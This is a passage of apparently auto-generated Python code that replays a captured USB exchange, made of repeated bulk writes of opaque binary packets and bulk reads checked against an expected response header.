validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2227/2228\")\n # Generated from packet 2229/2230\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x38\\x02\\x3D\\xE5\\xD8\\x31\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD9\\xE8\\x5D\\x42\\x49\\x52\\x35\\x7D\"\n b\"\\xFD\\xFD\\x26\\x4C\\x9A\\x7B\\xAB\\xF1\\x39\\xD0\\xE3\\xCA\\x03\\xF1\\x4A\\x8F\"\n b\"\\xDE\\xD6\\x02\\xAE\\x05\\xEB\\xC3\\xA7\\x27\\x53\\x8B\\x6E\\xB8\\x4B\\xB9\\x65\"\n b\"\\x67\\x1F\\xFC\\xA0\\x1B\\x8C\\x58\\x3F\\xF4\\x90\\x82\\x14\\x52\\x52\\xED\\xF9\"\n b\"\\x86\\x76\\xD7\\xFE\\x76\\x4D\\x28\\x83\\x98\\xD3\\x29\\xE8\\x32\\x05\\x99\\x03\"\n b\"\\xAF\\x19\\x4B\\x98\\x87\\x40\\x24\\x2F\\xB3\\xE0\\xC6\\x97\\x48\\xDF\\xCF\\xB2\"\n b\"\\xDF\\x86\\x40\\x63\\xDF\\x49\\xAF\\xF7\\xE7\\xD8\\x6A\\x10\\xCC\\x26\\xB2\\x0D\"\n b\"\\x85\\xD5\\xE4\\xB9\\x00\\x41\\x36\\xB0\\x04\\x1E\\x05\\xC7\\x83\\xB3\\x65\\x26\"\n b\"\\x23\\x39\\x03\\xB0\\x91\\x0F\\x62\\xA9\\x32\\xC8\\x3C\\x67\\x43\\x1B\\xE7\\x32\"\n b\"\\x13\\x5C\\x6A\\x91\\x85\\x76\\x6A\\x5A\\xF6\\xC3\\xA2\\x54\\xB1\\x39\\x3E\\x96\"\n b\"\\x23\\x05\\xEA\\x0D\\x08\\x48\\xAE\\x55\\xF4\\xE0\\x31\\x10\\x9E\\x51\\xC3\\x76\"\n b\"\\x35\\x46\\x65\\x5A\\xB0\\xBD\\xD9\\xF8\\x2B\\xBC\\xDA\\x71\\x48\\x42\\x25\\x1E\"\n b\"\\x96\\xF3\\x46\\x9C\\xB6\\x35\\xB3\\xA4\\xAB\\x3F\\x89\\xD0\\x95\\xFA\\xC8\\xBA\"\n b\"\\xD8\\x8A\\xFE\\xD1\\xCB\\xFB\\x79\\x00\\x46\\xE2\\xB9\\x58\\xB6\\x1E\\xEF\\x10\"\n b\"\\xDA\\x33\\xD9\\x4A\\x27\\xB4\\x13\\x0E\\xC9\\x4F\\xB3\\x07\\x75\\x67\\xBE\\x7F\"\n b\"\\xB3\\x50\\xD4\\x3F\\x52\\xA4\\x2F\\xD6\\xE5\\xAB\\x4F\\x26\\x3A\\xB5\\x0C\\x74\"\n b\"\\xEF\\x21\\x12\\x8D\\xE0\\x44\\x3D\\x49\\x20\\x8B\\xA8\\x91\")\n # Generated from packet 2231/2232\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2231/2232\")\n # Generated from packet 2233/2234\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDD\\x6E\\x09\\x49\\x9D\\x4B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBD\\x87\\x67\\xB7\\x6D\\x03\\x1B\\x19\"\n b\"\\x77\\xFD\\xA6\\x71\\x73\\x22\\x5C\\x8A\\x90\\x79\\xA0\\xBF\\xEB\\x77\\xFF\\x5C\"\n b\"\\xF5\\x3F\\x5B\\x8B\\xB6\\x3A\\xFD\\xA4\\x39\\x4F\\xA1\\x55\\x28\\x60\\x84\\x0D\"\n b\"\\xE5\\xB6\\x7A\\xB4\\x1F\\xD1\\x18\\xAE\\xF5\\x7A\\x32\\x97\\xF3\\x94\\xAC\\x4D\"\n b\"\\xAB\\x3B\\xC5\\x98\\x71\\xF5\\xE9\\x28\\x33\\x31\\x04\\x97\\x35\\x65\\xD7\\xBB\"\n b\"\\x8B\\x2F\\x1C\\xDA\\x85\\x03\\x53\\x92\\x9E\\x10\\x26\\xFB\\xCE\\x2A\\x65\\x86\"\n b\"\\x45\\x05\\xAB\\x8D\\x07\\xCB\\xAE\\xB9\\xC9\\x01\\x2C\\x27\\x1C\\x40\\xB4\\xE8\"\n b\"\\x95\\x75\\xA3\\xD2\\x5A\\x48\\xAF\\xE7\\x8B\\xD2\\x4F\\x73\\xD6\\x68\\x6E\\xEF\"\n b\"\\x80\\x63\\xC3\\x3E\\xFF\\x16\\x11\\xEA\\x98\\xCA\\x68\\x11\\xCE\\x98\\xC2\\xDD\"\n b\"\\x3C\\x4A\\x57\\x21\\x2C\\x1B\\x26\\x2C\\x68\\xD7\\x71\\xDC\\xD5\\x10\\xAD\\xF0\"\n b\"\\xFA\\x2D\\x1A\\x54\\x04\\xFD\\x32\\x1C\\x33\\xF0\\xD4\\x44\\x7A\\x8B\\x9C\\xBB\"\n b\"\\xE4\\x48\\xEC\\x07\\xB4\\x3F\\xE2\\x77\\xB7\\xF2\\xF7\\xAE\\x22\\xE8\\x7C\\xF6\"\n b\"\\xF6\\x8F\\x88\\x7F\\xCF\\xA9\\xCE\\x56\\xC0\\x27\\xD7\\x1B\\xFA\\xD1\\x38\\x6F\"\n b\"\\x35\\x51\\xD6\\xFF\\x5C\\x23\\xD5\\x3C\\x2C\\x2C\\x8D\\x15\\x9D\\x59\\x38\\xA2\"\n b\"\\x53\\xBC\\xB3\\x16\\x80\\xBA\\x43\\xD3\\x8D\\x44\\x63\\xE2\\x8C\\x33\\x3D\\xA3\"\n b\"\\xC9\\x78\\x15\\x93\\x23\\x23\\x52\\x8A\\x0F\\x0F\\xD8\\x9E\\xA4\\x57\\x8A\\xC2\"\n b\"\\x14\\x20\\xF0\\xD3\\x5E\\x6C\\xDA\\x8A\\x12\\xDC\\x6E\\x77\")\n # Generated from packet 2235/2236\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2235/2236\")\n # Generated from packet 2237/2238\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\x39\\xF2\\x91\\x14\\x09\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\xB2\\x3B\\xFE\\xAB\\xDF\\xEA\\xE4\"\n b\"\\x2F\\x86\\x55\\x0D\\x7A\\x7F\\x20\\xC7\\x2F\\x5C\\x70\\xEB\\x84\\x28\\x91\\x62\"\n b\"\\x41\\x8B\\xA3\\xD0\\x19\\x68\\xA7\\x0F\\x73\\xC5\\x5A\\x81\\x81\\xBE\\x9D\\x14\"\n b\"\\x93\\xDD\\xE3\\x2D\\x6F\\xDE\\xE2\\xC2\\x57\\x7F\\x0F\\xCD\\x71\\x7F\\x52\\xD1\"\n b\"\\x99\\x74\\x91\\xA4\\xC1\\xCE\\x6F\\x1C\\x3C\\x91\\x00\\x70\\xB2\\x91\\x66\\x7B\"\n b\"\\xAE\\xDE\\xA7\\xBF\\xFD\\x07\\x6C\\x3F\\x6D\\xFE\\x73\\x2D\\x5E\\x72\\x94\\xB9\"\n b\"\\x6B\\x3B\\xBC\\xD8\\xDD\\x97\\xC1\\x66\\xE6\\xAB\\x15\\x4E\\xBD\\x22\\x15\\x91\"\n b\"\\x96\\x97\\x9E\\xEE\\xDB\\x67\\x55\\x56\\xAE\\x10\\xA3\\xC6\\x72\\x57\\xDB\\x3D\"\n b\"\\xF3\\x16\\x68\\xC8\\xD9\\x2C\\x2B\\xD4\\x1E\\x70\\x47\\xE8\\x22\\x5F\\xDD\\x94\"\n b\"\\x21\\x5E\\xF6\\xF7\\x21\\x07\\x51\\x92\\x4B\\x69\\xC2\\x76\\xCE\\x4F\\x60\\x1A\"\n b\"\\xA6\\x1A\\xE9\\x19\\xA9\\x03\\x82\\x51\\x85\\xB6\\xC3\\x80\\xD9\\xFC\\xDF\\xAD\"\n b\"\\x24\\x43\\x56\\xD0\\x9F\\x2A\\x48\\x82\\x0C\\xBD\\x58\\xAE\\xD2\\xCD\\x67\\x4F\"\n b\"\\x97\\x02\\x10\\x1E\\x68\\xE5\\x67\\xA2\\x48\\xB9\\x8F\\x73\\x5B\\xED\\x1F\\xA6\"\n b\"\\x59\\x03\\x9A\\xAE\\x7E\\x06\\x66\\xFE\\x45\\xD9\\xC4\\xDC\\x53\\xC7\\x98\\xD5\"\n b\"\\x9D\\xD1\\x07\\xA4\\x1D\\xE4\\x3D\\x46\\x26\\x16\\x30\\x7B\\xA6\\x08\\x79\\x4D\"\n b\"\\x20\\x39\\x8F\\x13\\xD1\\x36\\x81\\xE7\\x75\\x66\\x59\\xE3\\x58\\x2F\\x85\\xE1\"\n b\"\\x39\\x61\\x49\\x78\\x3A\\xC7\\xB2\\xCC\\xB2\\x61\\x4A\\x1E\")\n # Generated from packet 2239/2240\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2239/2240\")\n # Generated from packet 2241/2242\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x7B\\xE6\\xEC\\xD1\\x4D\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC6\\xC2\\x37\\x5D\\x26\\x3D\\xF0\\xA1\"\n b\"\\x56\\x69\\x99\\x3C\\xC6\\x6C\\x04\\xDB\\xEB\\xBA\\x7A\\xF5\\xD3\\xE2\\x1A\\x06\"\n b\"\\x1E\\x3A\\xDE\\xFE\\x36\\xDC\\x6B\\xE3\\x0F\\x7A\\x7C\\x15\\x16\\x71\\x34\\xF0\"\n b\"\\xA4\\x00\\xD6\\x4E\\x84\\x63\\x42\\xCD\\x4B\\x9A\\xA1\\x2F\\xE2\\x65\\xE4\\x3C\"\n b\"\\xD4\\xE1\\x78\\xC3\\x23\\x7C\\xDD\\x38\\xEA\\x92\\x2E\\x2B\\x35\\xCC\\x85\\x35\"\n b\"\\x18\\x4C\\xAC\\x54\\x75\\x62\\x72\\x76\\xCF\\xE8\\xB2\\x92\\xF2\\xEC\\xEF\\xAB\"\n b\"\\x9D\\xBC\\xCD\\x9A\\x8F\\xC5\\x47\\xDD\\x47\\x11\\xD0\\xD5\\xDE\\xDE\\x13\\x4A\"\n b\"\\x97\\x0A\\x36\\x30\\x9F\\x49\\x51\\xAE\\xBE\\x96\\xDE\\xE7\\xBD\\xBC\\x4A\\x00\"\n b\"\\xB1\\x00\\x4F\\xE1\\x53\\x4B\\x22\\xA0\\xBA\\xCE\\xAC\\x0A\\x83\\x97\\xFA\\x9F\"\n b\"\\xE8\\x00\\x47\\x5D\\x86\\xBA\\xC0\\x57\\x0A\\x16\\x4E\\x9C\\x4E\\x61\\xA6\\x04\"\n b\"\\x26\\xD7\\x69\\xFE\\x7D\\x24\\x3E\\x7E\\x7E\\xEE\\xBA\\x6F\\xFE\\x07\\x22\\x6B\"\n b\"\\xE4\\xF6\\x94\\xC6\\x5A\\x17\\x80\\xD6\\x70\\xD2\\x0A\\xF3\\xE1\\x6A\\xF6\\x35\"\n b\"\\x20\\x1C\\xE6\\xC2\\x29\\xD1\\x96\\x9E\\x1A\\x08\\xDA\\x7A\\xA5\\x10\\x7E\\x12\"\n b\"\\x68\\x65\\x86\\xDA\\xA0\\x52\\x27\\x3F\\x3E\\xB1\\x5B\\x39\\xB2\\xCA\\xC0\\xE3\"\n b\"\\xE0\\x9D\\x20\\xC8\\xAF\\xEB\\x0F\\x47\\x26\\x09\\xB5\\xAA\\x4B\\x1E\\x32\\x1B\"\n b\"\\x99\\x39\\xA8\\x14\\x24\\x7B\\x24\\xC5\\x78\\x50\\x87\\x12\\x3D\\x59\\x8C\\xDD\"\n b\"\\xA7\\x14\\xD7\\xF4\\x74\\x75\\x23\\xDE\\xF8\\x52\\x13\\x25\")\n # Generated from packet 2243/2244\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2243/2244\")\n # Generated from packet 2245/2246\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x33\\x18\\xD0\\xB5\\xF4\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\xDB\\x82\\xC3\\x68\\xB4\\xA6\\xD8\"\n b\"\\xDB\\xAF\\x79\\x19\\xBC\\x6A\\x28\\x40\\x63\\x7A\\x0F\\xDF\\x8B\\x13\\xFB\\x67\"\n b\"\\x25\\x9D\\xC9\\x36\\x43\\x8C\\xD8\\xCD\\xBD\\x14\\x5D\\x65\\xBD\\x8C\\xF9\\xDF\"\n b\"\\xBB\\x7A\\x89\\x13\\xCB\\x8A\\xE5\\x20\\xF2\\x76\\x28\\x32\\xDC\\x3D\\x67\\x3F\"\n b\"\\xAC\\x32\\xE3\\x01\\x96\\xB2\\x3D\\x5F\\xCC\\xFE\\x55\\x25\\x6D\\x81\\xA8\\x33\"\n b\"\\xF3\\x5B\\xE2\\xBF\\x5A\\x12\\x0F\\x35\\x86\\x66\\x61\\x84\\xD0\\x2C\\x2B\\x8C\"\n b\"\\xBE\\x34\\x27\\x58\\xFA\\x41\\x98\\xCD\\xD3\\x35\\x74\\xEF\\xC6\\x7B\\x69\\x37\"\n b\"\\x30\\xF9\\x46\\xD3\\xAE\\xF2\\x40\\x68\\xE8\\x92\\xC0\\x06\\x1C\\x39\\x43\\xDA\"\n b\"\\x76\\xAC\\x1A\\x94\\xAD\\x83\\x42\\xFC\\x93\\xB6\\x93\\xCA\\xA7\\x24\\xF6\\xE4\"\n b\"\\x9F\\xCE\\x20\\x86\\x90\\x5B\\x00\\xA7\\x1A\\xB6\\x0A\\xB4\\x98\\x4F\\xF0\\xDD\"\n b\"\\xA2\\x1A\\xAF\\x73\\xB7\\xFF\\x95\\x27\\x38\\xFE\\x71\\x86\\xA9\\x70\\xA5\\x37\"\n b\"\\xC2\\xB4\\x12\\xAE\\x03\\x32\\x5C\\x54\\x79\\xD3\\xCE\\x8B\\xB5\\x8F\\x61\\xB4\"\n b\"\\x19\\x12\\xE6\\x75\\xB0\\x07\\x80\\xE0\\x6B\\x31\\xFD\\xB3\\x06\\x30\\x6E\\x69\"\n b\"\\xD5\\x58\\x75\\x44\\x2F\\x16\\x31\\xD5\\x16\\x04\\x8A\\x18\\x99\\x08\\x8A\\xF0\"\n b\"\\x77\\x70\\xC3\\x15\\xDE\\xE0\\x16\\xFD\\x40\\xC4\\x7B\\xD1\\x4A\\xC5\\x97\\x80\"\n b\"\\x6E\\x6C\\x4C\\xC8\\xD3\\x5A\\x6D\\xE2\\x97\\x25\\x11\\x45\\x78\\x88\\xAE\\x1D\"\n b\"\\xA6\\xC3\\xF0\\x4B\\xE1\\x6A\\x92\\x3A\\x26\\xA0\\xAA\\x86\")\n # Generated from packet 2247/2248\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2247/2248\")\n # Generated from packet 2249/2250\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC6\\x66\\xD1\\xD9\\x79\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB2\\xB4\\x8B\\x4D\\x11\\x1D\\x40\\xEC\"\n b\"\\xC7\\xDB\\xEE\\x9D\\x23\\x14\\x4B\\xF1\\x5A\\xB2\\xCC\\x7D\\x96\\x7A\\x9B\\xD1\"\n b\"\\xB4\\x60\\x4B\\x02\\xA5\\xC0\\xEA\\x85\\xFD\\x49\\xBF\\xE3\\xEB\\xD1\\xDD\\x64\"\n b\"\\xC0\\x06\\x09\\x99\\x04\\x36\\x61\\xDF\\xED\\x7E\\xC4\\x65\\x11\\x6F\\xEE\\x28\"\n b\"\\xC9\\xDB\\x19\\xC1\\xA0\\x39\\x6F\\x57\\x63\\x09\\xB9\\xB4\\xDF\\x05\\x7C\\x97\"\n b\"\\x69\\xEF\\xA8\\x3D\\x01\\xF2\\x13\\x02\\x72\\x26\\x34\\x78\\x3D\\x64\\xD1\\xD8\"\n b\"\\x35\\x20\\xFE\\x2D\\x00\\x35\\x34\\x6F\\x5D\\x48\\x60\\x2B\\xF5\\xE9\\x94\\xB9\"\n b\"\\xC4\\x1C\\xC0\\xF3\\x0D\\xE7\\xD9\\xC6\\xF4\\xAD\\xE3\\xB1\\xB6\\x24\\x28\\x87\"\n b\"\\x15\\xA8\\x7E\\x23\\x36\\xCC\\x77\\x38\\x34\\x38\\x2D\\xFE\\x51\\x07\\x9C\\xD8\"\n b\"\\x15\\xA2\\x02\\xF0\\xA5\\x0F\\x0F\\x88\\xBA\\x7A\\x20\\x3F\\x89\\xE6\\x64\\x5E\"\n b\"\\x8C\\x12\\x37\\x0C\\x1B\\x3D\\xC6\\xB6\\x07\\x4D\\x00\\x02\\xFD\\xCD\\x86\\x67\"\n b\"\\x8F\\x2F\\xF8\\x42\\xA3\\xB0\\x71\\xC9\\x59\\x7A\\xAB\\x65\\xD6\\xE3\\x58\\x8A\"\n b\"\\x92\\x6D\\xC0\\x91\\xA5\\x37\\xE3\\x99\\x03\\xC6\\x8F\\x7F\\x65\\xEC\\xC6\\x14\"\n b\"\\x0F\\x1B\\x0C\\x1E\\x05\\x1F\\xA2\\x87\\xA0\\x19\\xFF\\xDD\\xB3\\x46\\x4E\\xD9\"\n b\"\\x1B\\x5B\\xDE\\xB5\\xB2\\x68\\xEF\\xB9\\xEA\\xC3\\xDE\\xEC\\x28\\x63\\xFC\\x5A\"\n b\"\\x91\\xB3\\x8E\\x67\\x31\\x41\\xE9\\xB3\\x0A\\x90\\x92\\x9A\\xA6\\xFE\\xD0\\x79\"\n b\"\\x04\\x67\\x78\\xEA\\xEF\\x2D\\xFD\\xBD\\xC9\\x88\\x9E\\x00\")\n # Generated from packet 2251/2252\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2251/2252\")\n # Generated from packet 2253/2254\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xDD\\x38\\xE3\\x3B\\x27\\x3A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x3B\\x70\\x8A\\x20\\x68\\xFD\\x9D\"\n b\"\\x94\\x98\\x0F\\xD2\\x67\\x03\\xA6\\xC6\\x64\\xD4\\x07\\x78\\xA6\\xA4\\x0C\\x83\"\n b\"\\x00\\x47\\x35\\x7E\\x1F\\x0D\\x19\\xC1\\xD9\\x45\\xA7\\x99\\xBE\\x7B\\x39\\xF4\"\n b\"\\xFB\\xC1\\x09\\xFE\\x15\\x1A\\x5E\\x9C\\xE2\\x8D\\x0A\\x9D\\xE8\\x42\\xA8\\xF0\"\n b\"\\x8A\\xE8\\xA6\\x50\\x58\\xFA\\x62\\x5D\\x47\\x26\\x9F\\x28\\x1F\\x52\\xAA\\xB2\"\n b\"\\x05\\x03\\x25\\x97\\x69\\xB2\\x5E\\x13\\xEA\\x6B\\x10\\x3F\\x8A\\xBE\\xB7\\x9C\"\n b\"\\x3B\\xB7\\xD9\\x71\\xB7\\x23\\xA8\\x1E\\x29\\x88\\x57\\x14\\x94\\xAC\\xB7\\x66\"\n b\"\\x6D\\x06\\xDB\\x8A\\xE9\\x93\\xA8\\xDC\\x41\\x93\\xCA\\x88\\xF7\\x9A\\x4B\\xC9\"\n b\"\\x8E\\xE3\\x03\\xB2\\x0A\\xB7\\x2B\\x8E\\x79\\xA0\\x7D\\xA8\\x9A\\x67\\x6E\\x2E\"\n b\"\\x70\\xB0\\x9E\\x77\\x3E\\xD6\\x90\\xB6\\x21\\x91\\xD4\\x23\\x5E\\xBB\\x2E\\xF6\"\n b\"\\xE6\\xFE\\x7F\\xAE\\x62\\x9F\\x18\\xD4\\x6C\\x64\\x5F\\x07\\x14\\x95\\xAD\\x98\"\n b\"\\x23\\x7C\\x2C\\xFB\\xA5\\x4A\\x58\\xA3\\x57\\x28\\x96\\xE5\\x54\\x19\\x8C\\xA0\"\n b\"\\xB1\\x14\\xA8\\x74\\x5E\\x5F\\x83\\xEF\\x89\\xE6\\xFA\\x1A\\x14\\xFB\\xD7\\x7E\"\n b\"\\x89\\x80\\x92\\x6B\\x84\\x9D\\x47\\x23\\x20\\xF6\\x87\\xC6\\xCF\\x74\\x32\\xCD\"\n b\"\\xAD\\x5C\\x89\\xAF\\x27\\x9F\\x08\\xC1\\xCB\\x51\\xFF\\x53\\xC6\\xEC\\x2C\\x6F\"\n b\"\\xE2\\x0F\\x1A\\xB8\\xE2\\xDE\\x1E\\xFD\\xB4\\xE8\\x0E\\x20\\x8C\\xE7\\x6E\\xB5\"\n b\"\\x23\\x1B\\x8F\\x60\\xE1\\x59\\x12\\x02\\x23\\x1F\\x84\\xA1\")\n # Generated from packet 2255/2256\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2255/2256\")\n # Generated from packet 2257/2258\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x54\\xD1\\x83\\xA9\\x59\\x4D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBC\\x8F\\xB7\\xD0\\xED\\x1D\\xBE\\x35\"\n b\"\\xA0\\xD7\\x14\\xCE\\x87\\x28\\x26\\xC4\\x4C\\xE1\\xE4\\xE7\\xA7\\xDD\\x65\\xF5\"\n b\"\\x09\\x26\\x78\\x34\\xD6\\x9B\\xC8\\x7F\\xD1\\x3A\\xAA\\x45\\xE6\\x84\\x1A\\x7B\"\n b\"\\x4F\\xE1\\xEB\\x6E\\x84\\xB2\\x97\\x5E\\x0B\\xF2\\x0F\\x50\\xB6\\x08\\x2C\\xA0\"\n b\"\\x3B\\x02\\x5F\\xE1\\xC1\\x67\\xEA\\xDC\\xB9\\x07\\xD8\\x72\\xF1\\x01\\xE4\\x67\"\n b\"\\x3C\\x01\\x36\\xCD\\x9D\\x90\\x6B\\x41\\xAD\\x12\\x3E\\x91\\x86\\x0B\\x43\\x9A\"\n b\"\\x63\\x2C\\x32\\xD6\\xD4\\x02\\xC5\\x12\\x5B\\x64\\x5E\\x71\\xD3\\xE1\\x06\\xED\"\n b\"\\xCC\\x16\\x23\\x2B\\x05\\xED\\xA4\\xBA\\x97\\x3C\\xBF\\x8B\\x19\\x30\\xEC\\x8D\"\n b\"\\xA7\\xDF\\xF5\\xAA\\xB8\\x1B\\x9E\\x8F\\x18\\xC2\\x9C\\x90\\x90\\x9A\\xC6\\x9C\"\n b\"\\xFC\\x18\\x24\\x2F\\x42\\xAA\\x35\\xEE\\xFA\\x73\\xE8\\xF9\\x61\\xF2\\xB2\\xC9\"\n b\"\\x38\\x64\\x02\\x33\\x7D\\x9B\\x7C\\xE0\\xB2\\xC1\\x89\\xCB\\x4D\\x47\\x34\\xAB\"\n b\"\\x9D\\x7B\\xCF\\x80\\x0B\\xE1\\x5A\\xEA\\x5B\\xC6\\x4C\\x05\\x93\\x9C\\xF8\\xC5\"\n b\"\\x25\\x9E\\xBE\\x25\\xC1\\x5C\\x95\\x7E\\x1A\\xD9\\x30\\x3B\\xB7\\x12\\x49\\x28\"\n b\"\\xCA\\x76\\xD7\\x32\\x4E\\xD0\\x63\\x9A\\x28\\xDC\\x1A\\x03\\x36\\xDC\\xB4\\x71\"\n b\"\\xF4\\xC2\\x87\\x8C\\x77\\x5B\\x52\\xA4\\xE8\\xFD\\x25\\x67\\x76\\xD1\\x80\\x72\"\n b\"\\x72\\x60\\x33\\xA0\\xF9\\x3E\\x27\\xA4\\x6D\\x74\\xF4\\x57\\xB4\\x67\\x7B\\x4F\"\n b\"\\xB1\\x66\\x57\\xF0\\x75\\x2C\\xD4\\x09\\x3D\\x99\\x13\\x74\")\n # Generated from packet 2259/2260\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2259/2260\")\n # Generated from packet 2261/2262\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC7\\xDF\\x7F\\x88\\x42\\x59\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9E\\xF2\\xD4\\x1E\\xE6\\xA4\\xF1\\x63\"\n b\"\\x05\\x26\\xA3\\x3F\\x20\\xDC\\xFE\\x64\\x7F\\x57\\x1B\\x96\\x10\\x8D\\x9A\\xAE\"\n b\"\\xC5\\x6F\\xAD\\xA4\\xBF\\x10\\xAB\\x0B\\xF7\\xAF\\xC7\\x2D\\xBF\\x93\\x24\\xD5\"\n b\"\\x1F\\x9E\\x28\\x5A\\x84\\x55\\x3F\\x85\\x4B\\x98\\x0F\\xFC\\x2E\\x2D\\x8D\\x5A\"\n b\"\\x3D\\x84\\x2A\\x4F\\x6D\\x2D\\x17\\x34\\x6F\\xB9\\x28\\x38\\xA1\\x39\\xF5\\xD4\"\n b\"\\x99\\xC0\\xE2\\x92\\xC6\\xCD\\xF8\\x27\\x8E\\xC4\\x11\\x41\\x8A\\x95\\xE7\\x27\"\n b\"\\x0D\\x74\\xB7\\x40\\x03\\xE5\\x7F\\x8D\\x86\\x0D\\xDE\\x37\\xB4\\x63\\x8E\\x39\"\n b\"\\x7B\\x84\\x62\\x80\\xC5\\x70\\xC9\\x17\\x8E\\x28\\x97\\x24\\xFB\\x78\\x6E\\xE6\"\n b\"\\x10\\x2C\\x66\\x7C\\x76\\xB3\\x1D\\x02\\x51\\xEF\\x43\\xC8\\x5A\\x07\\x95\\xBE\"\n b\"\\x44\\xD1\\xBC\\x25\\x4B\\xB5\\x08\\x2E\\xCE\\x40\\xB3\\x94\\x40\\xE1\\x5B\\xAF\"\n b\"\\xD3\\xD5\\x71\\xF3\\x71\\xA6\\x9D\\x2E\\x1F\\x64\\xA1\\xE7\\xC8\\x5B\\xF2\\xAB\"\n b\"\\x66\\x9C\\xF4\\xC9\\xB4\\xAC\\xD4\\x38\\x6E\\x8B\\xDE\\x6F\\xC1\\xFA\\xFA\\x78\"\n b\"\\x20\\xCB\\xCC\\xC0\\xAE\\xFE\\xA2\\x84\\x10\\x1D\\xCB\\x3E\\x16\\xFF\\x56\\x46\"\n b\"\\xAA\\xAB\\x12\\x36\\xC0\\xC5\\x49\\x56\\x63\\x56\\x18\\xC7\\xE5\\x4C\\x2C\\x83\"\n b\"\\xF8\\x05\\xE8\\x83\\xFA\\x91\\x3D\\xDF\\xF2\\x8F\\xC9\\xBD\\xD0\\x70\\x4C\\xE2\"\n b\"\\xF5\\x4C\\xC0\\x33\\x40\\x56\\x24\\xD3\\x22\\xA7\\xCE\\x61\\x0C\\x6A\\x87\\x96\"\n b\"\\xA9\\x72\\x7C\\x0E\\x9D\\xA7\\xE7\\xB7\\xDE\\xB2\\x6F\\xFD\")\n # Generated from packet 2263/2264\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2263/2264\")\n # Generated from packet 2265/2266\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0D\\x81\\x0D\\xCC\\x7C\\x38\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD5\\x7C\\xDB\\xD6\\xF6\\x08\\x34\\x7F\"\n b\"\\xEB\\xEC\\x10\\xA7\\x01\\x83\\x60\\xFA\\xC6\\xF0\\x0A\\xF3\\x01\\xAA\\x15\\xDD\"\n b\"\\xEC\\xF1\\x38\\x68\\x37\\x77\\xB9\\x94\\x2D\\x34\\x8B\\x4D\\x41\\x80\\x1C\\x77\"\n b\"\\xA5\\xBF\\x4A\\x7B\\xDD\\xB8\\xAB\\x4B\\x67\\xF3\\x32\\xEE\\xB3\\x2D\\x4B\\x34\"\n b\"\\x76\\x54\\x31\\x48\\x33\\xEA\\x45\\xC1\\xD0\\xEE\\x4E\\xCA\\x85\\xF7\\x79\\x02\"\n b\"\\x4D\\x4F\\x41\\x1C\\x4B\\x31\\x4B\\xBB\\x00\\x04\\x34\\x1D\\xC0\\xE8\\x37\\xD4\"\n b\"\\x50\\x0C\\xA5\\xE5\\xBE\\x78\\x0A\\x95\\x67\\x8F\\x80\\xCC\\x55\\xFC\\x20\\xCD\"\n b\"\\x47\\x5B\\xA4\\x9E\\x41\\x35\\xC3\\xFA\\x7F\\x5A\\xDD\\x3B\\x96\\xB7\\x5C\\x93\"\n b\"\\x04\\xEA\\x46\\xCB\\x51\\xA1\\x35\\x27\\x67\\xD0\\xD7\\xFA\\x88\\x5E\\x1A\\x0A\"\n b\"\\x79\\x32\\xB1\\x8C\\x9D\\x74\\x50\\x72\\xBC\\xCA\\x17\\x88\\x6A\\x8D\\x26\\x07\"\n b\"\\x95\\x84\\x79\\xC3\\xDF\\x5D\\x50\\xF0\\xF7\\x1D\\x5F\\xE0\\x3E\\x6F\\x50\\x60\"\n 